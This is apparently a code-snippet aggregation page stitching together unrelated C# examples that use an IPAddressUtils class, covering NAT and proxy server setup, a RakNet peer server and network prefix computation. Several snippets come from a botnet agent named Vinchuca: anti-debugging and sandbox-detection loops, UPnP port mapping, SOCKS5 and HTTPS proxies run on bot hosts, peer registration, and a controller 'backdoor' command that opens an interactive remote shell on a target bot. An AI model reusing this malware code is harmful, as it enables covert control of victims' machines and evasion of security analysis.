public void Do()
        {
            NatServerCrowd natServerCrowd = new NatServerCrowd();

            natServerCrowd.Start();
            int count = natServerCrowd.GetCount();
            var list  = natServerCrowd.GetAddressList();

            Console.WriteLine("NatServer IP列表:");
            list.ForEach(item =>
            {
                //存到数据库
                NatProxyModel natProxyModel = new NatProxyModel
                {
                    Type            = (int)NatProxyTypeEnum.Nat,
                    AddressInnerNet = item.Address,
                    Port            = item.Port,
                    IsUsable        = true,
                    StartUpTime     = DateTime.Now,
                    AddressOuterNet = IPAddressUtils.GetOuterNatIP()
                };
                var id = BaseDAL.Insert(natProxyModel);
                natServerCrowd.AddIdItem(id);

                Console.WriteLine("启动成功!PrimaryId:{0},AddressInnerNetAndPort:{1}:{2}", id, natProxyModel.AddressInnerNet, natProxyModel.Port);
            });


            ConsoleCloseHandler.natServerCrowd = natServerCrowd;
            ConsoleCloseHandler.SetConsoleCtrlHandler(ConsoleCloseHandler.cancelHandler, true);
        }
Beispiel #2
0
        public Agent(int port, BotIdentifier id)
        {
            BotIdentifier.Id = id;
            Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port);

            _worker = ClientWorker.Instance;
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
            _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;


            if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress()))
            {
                var upnpSearcher = new UpnpSearcher();
                upnpSearcher.DeviceFound += (s, e) =>
                {
                    PublicIP = e.Device.GetExternalIP();
                    Logger.Verbose("External IP Address: {0}", PublicIP);
                    try
                    {
                        var externalPort = BotIdentifier.Id.GetPort();
                        BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort);
                        var device = e.Device;
                        device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2));
                    }
                    catch (MappingException ex)
                    {
                        Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText);
                    }
                    finally
                    {
                        upnpSearcher.Stop();
                    }
                };
                upnpSearcher.Search();
            }

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;
            _communicationManager        = new CommunicationManager(_listener, _worker);
            var peersManager = new PeerManager(_communicationManager, _peerList, _worker);

            _messagesManager           = new MessageManager(peersManager);
            peersManager.MessageSender = _messagesManager;

            RegisterMessageHandlers(peersManager);

            var externPort = BotIdentifier.Id.GetPort();

            _socks5             = new Socks5Server(externPort + 1);
            _https              = new HttpsProxyServer(externPort + 2);
            _connectivityTester = new ConnectivityTester();
            _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
Beispiel #3
0
        internal bool TryRegister(PeerInfo peerInfo)
        {
            var endpoint = peerInfo.EndPoint;
            var ip       = endpoint.Address;
            var botId    = peerInfo.BotId;

            if (botId.Equals(BotIdentifier.Id))
            {
                Logger.Verbose("failed attempt for auto-adding");
                return(false);
            }

            if (endpoint.Port <= 30000 || endpoint.Port >= 50000)
            {
                Logger.Verbose("failed out-of-range port number ({0}). ", endpoint.Port);
                return(false);
            }
#if !DEBUG
            var ipMask = IPAddress.Parse("255.255.240.0");
            foreach (var info in _peers.Values)
            {
                var inSameSubnet = IPAddressUtils.IsInSameSubnet(ip, info.EndPoint.Address, ipMask);
                if (inSameSubnet)
                {
                    return(false);
                }
            }
#endif
            if (_peers.ContainsKey(peerInfo.BotId))
            {
                Logger.Verbose("bot with same ID already exists. Touching it.");
                var peer = _peers[botId];
                peer.EndPoint = endpoint;
                peer.Touch();
                return(false);
            }

            if (_peers.Count >= 256)
            {
                Purge();
            }

            _peers.Add(botId, peerInfo);
            Logger.Verbose("{0} added", peerInfo);

            var unknown = BotIdentifier.Unknown;
            if (!Equals(botId, unknown) && IsRegisteredBot(unknown) && Equals(this[unknown].EndPoint, peerInfo.EndPoint))
            {
                _peers.Remove(unknown);
            }
            return(true);
        }
Beispiel #4
0
        public void Do()
        {
            Console.WriteLine("请输入NatServer IPAddress:");
            string natServerIpAddress = Console.ReadLine();

            Console.WriteLine("请输入NatServer Port:");
            string natServerPort = Console.ReadLine();

            ushort natServerPortUshort = 0;

            ushort.TryParse(natServerPort, out natServerPortUshort);

            Console.WriteLine("请输入Proxy IPAddress:");
            string proxyIpAddress = Console.ReadLine();

            Console.WriteLine("请输入Proxy Port:");
            string proxyPort = Console.ReadLine();

            ushort proxyPortUshort = 0;

            ushort.TryParse(proxyPort, out proxyPortUshort);

            var raknetUdpNATPTServerAddress = new RaknetIPAddress(natServerIpAddress, natServerPortUshort);
            var raknetUdpProxyAddress       = new RaknetIPAddress(proxyIpAddress, proxyPortUshort);

            //start PeerServer
            RaknetUdpPeerServer raknetUdpPeerServer = new RaknetUdpPeerServer();
            var udpPeerServerStarted = raknetUdpPeerServer.Start().Connect(raknetUdpNATPTServerAddress, raknetUdpProxyAddress);

            if (!udpPeerServerStarted)
            {
                Console.WriteLine("UdpPeerServer启动失败");
                Console.ReadKey();
                return;
            }
            Console.WriteLine("UdpPeerServer启动成功,IP地址为:{0},GUID:{1}",
                              raknetUdpPeerServer.GetMyIpAddress().ToString(),
                              raknetUdpPeerServer.GetMyGuid()
                              );
            raknetUdpPeerServer.OnConnect       += RaknetUdpPeerServer_OnConnect;
            raknetUdpPeerServer.OnConnectFailed += RaknetUdpPeerServer_OnConnectFailed;
            raknetUdpPeerServer.OnReceive       += RaknetUdpPeerServer_OnReceive;

            ConsoleCloseHandler.raknetUdpPeerServer = raknetUdpPeerServer;
            ConsoleCloseHandler.SetConsoleCtrlHandler(ConsoleCloseHandler.cancelHandler, true);

            Console.WriteLine("------------------外网地址:{0}", IPAddressUtils.GetOuterNatIP());

            Console.WriteLine("PeerServer GUID:{0}", raknetUdpPeerServer.GetMyGuid());
        }
        public void Do()
        {
            NatServerCrowd natServerCrowd = new NatServerCrowd();

            natServerCrowd.Start();
            int count = natServerCrowd.GetCount();
            var list  = natServerCrowd.GetAddressList();

            Console.WriteLine("NatServer IP列表:");
            list.ForEach(item =>
            {
                Console.WriteLine(item.ToString());
            });

            Console.WriteLine("外网地址:{0}", IPAddressUtils.GetOuterNatIP());
        }
Beispiel #6
0
        public void Do()
        {
            ProxyCrowd proxyCrowd = new ProxyCrowd();

            proxyCrowd.Start();
            int count = proxyCrowd.GetCount();
            var list  = proxyCrowd.GetAddressList();

            Console.WriteLine("代理IP列表:");
            list.ForEach(item =>
            {
                Console.WriteLine(item.ToString());
            });

            Console.WriteLine("外网地址:{0}", IPAddressUtils.GetOuterNatIP());
        }
Beispiel #7
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (extra.Count == 0)
                {
                    Console.WriteLine("commands: Missing required argument `BOT-IDENTIFIER`.");
                    Console.WriteLine("commands: Use `help backdoor` for details.");
                    return(1);
                }

                var botId        = extra[0];
                var targetBotId  = BotIdentifier.Parse(botId);
                var peerInfo     = _agent.PeerList[targetBotId];
                var controllerIp = IPAddressUtils.BehingNAT(peerInfo.EndPoint.Address)
                    ? IPAddressUtils.GetLocalIPAddress()
                    : _agent.PublicIP;

                var port           = new Random().Next(33000, 33999);
                var serverEndpoint = new IPEndPoint(controllerIp, port);
                var server         = new TcpListener(serverEndpoint);
                server.Start();

                var backdoorMessage = new BackdoorMessage()
                {
                    TargetBotId        = BotIdentifier.Parse(botId),
                    ControllerEndpoint = new IPEndPoint(controllerIp, port)
                };
                _agent.MessagesManager.Broadcast(backdoorMessage, 6);

                var client = server.AcceptTcpClient();
                var stream = client.GetStream();

                Console.WriteLine("Connected!");

                var writer = new StreamWriter(stream)
                {
                    AutoFlush = true
                };
                var reader = new StreamReader(stream);

                ThreadPool.QueueUserWorkItem(s1 =>
                {
                    var array = new char[1024];
                    try
                    {
                        int count;
                        while ((count = reader.Read(array, 0, array.Length)) != 0)
                        {
                            Console.Write(new string(array, 0, count));
                        }
                    }
                    catch (Exception e)
                    {
                        // ignored
                    }
                });

                var bgColor = Console.BackgroundColor;
                var fgColor = Console.ForegroundColor;
                //Console.BackgroundColor = ConsoleColor.Blue;
                Console.ForegroundColor = ConsoleColor.Cyan;

                Console.CursorVisible = true;
                ConsoleKeyInfo k;
                var            cursorLeft = 0;
                var            cmd        = "";
                while (cmd != "exit")
                {
                    k = Console.ReadKey(true);
                    if (k.Key == ConsoleKey.Enter)
                    {
                        Console.CursorLeft -= cursorLeft;
                        cursorLeft          = 0;
                        writer.Write('\n');
                        cmd = "";
                    }
                    else
                    {
                        cmd += k.KeyChar;
                        writer.Write(k.KeyChar);
                        Console.Write(k.KeyChar.ToString());
                        cursorLeft++;
                    }
                }

                client.Close();
                server.Stop();
                Console.BackgroundColor = bgColor;
                Console.ForegroundColor = fgColor;
                Console.WriteLine("\nbackdoor closed. Good bye, master!");
                Console.WriteLine();

                return(0);
            }
            catch (Exception e)
            {
                //                _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }
Beispiel #8
0
        private void ComputePrefixes(IContext ctx, IEnumerable <string> localAddresses, IEnumerable <string> broadcastAddresses)
        {
            if (localAddresses == null || localAddresses.Count() == 0)
            {
                return;
            }
            var addresses = broadcastAddresses != null?localAddresses.Union(broadcastAddresses) : localAddresses;

            // compute wildcard:
            var wc = addresses.Select(s => (Address: IPAddress.Parse(s), Prefix: 32)).Aggregate((x, y) => IPAddressUtils.CommonPrefix(x.Address, x.Prefix, y.Address, y.Prefix));

            ctx.Info($"Local prefix: {wc.Address}/{wc.Prefix}");
            ctx.TryInsert(new LocalNetworkPrefix {
                IpNetwork = wc.Address.ToString(), IpPrefix = wc.Prefix
            });
        }
Beispiel #9
0
 public void SetUp()
 {
     _utils = new Ipv4AddressUtils();
 }